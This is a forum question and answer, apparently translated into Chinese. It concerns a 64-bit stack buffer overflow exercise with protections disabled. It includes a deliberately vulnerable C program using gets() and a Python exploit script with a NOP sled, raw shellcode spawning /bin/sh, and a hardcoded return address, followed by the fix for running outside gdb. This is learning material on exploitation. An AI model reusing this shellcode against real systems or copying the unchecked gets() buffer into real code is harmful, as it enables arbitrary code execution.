我在尝试通过64位缓冲区溢出将shellcode注入程序时遇到问题。我已经禁用了ASLR,并且在没有堆栈cookie和execstack的情况下进行了编译。
// vuln.c
#include <stdio.h>
void vuln()
{
printf("Give me something to worry about...\n");
char buf[500];
gets(buf);
printf("No root shell for you...\n");
}
int main()
{
vuln();
}
# exp.py
from struct import pack
payload_len = 520
nop = "\x90"*300
# Address in the middle of the nop stack
rip = 0x7fffffffdf4c
buf = ""
buf += "\x48\x31\xc0\x50\x5f\xb0\x03\x0f\x05"
buf += "\x50\x48\xbf\x2f\x64\x65\x76\x2f\x74\x74\x79\x57\x54\x5f\x50\x5e\x66\xbe\x02\x27\xb0\x02\x0f\x05"
buf += "\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x50\x57\x54\x5e\x48\x99\xb0\x3b\x0f\x05"
buf_len = len(buf)
nop_len = len(nop)
padding = "A"*(payload_len-nop_len-buf_len)
payload = nop + buf + padding + pack("<Q", rip)
print payload
基本上,该漏洞利用仅在gdb(我能够启动shell)中运行时有效,而在命令行上则无效。我认为这可能是因为封闭的管道,所以我尝试通过(python exp.py; cat) | ./vuln
尝试了猫的技巧,但没有帮助。显然,在gdb中进行漏洞利用并不能提升特权。有人知道我在做什么错吗?
提前感谢。
显然,我通过gdb(rip = 0x7fffffffdf4c
)获得的地址太接近缓冲区的开头,并且从命令行执行时,执行重定向到了无效的内存(与使用gdb执行相比,我认为栈被稍微下移了。 )。通过在NOP幻灯片的更下方选择一个地址,一切都会按预期进行。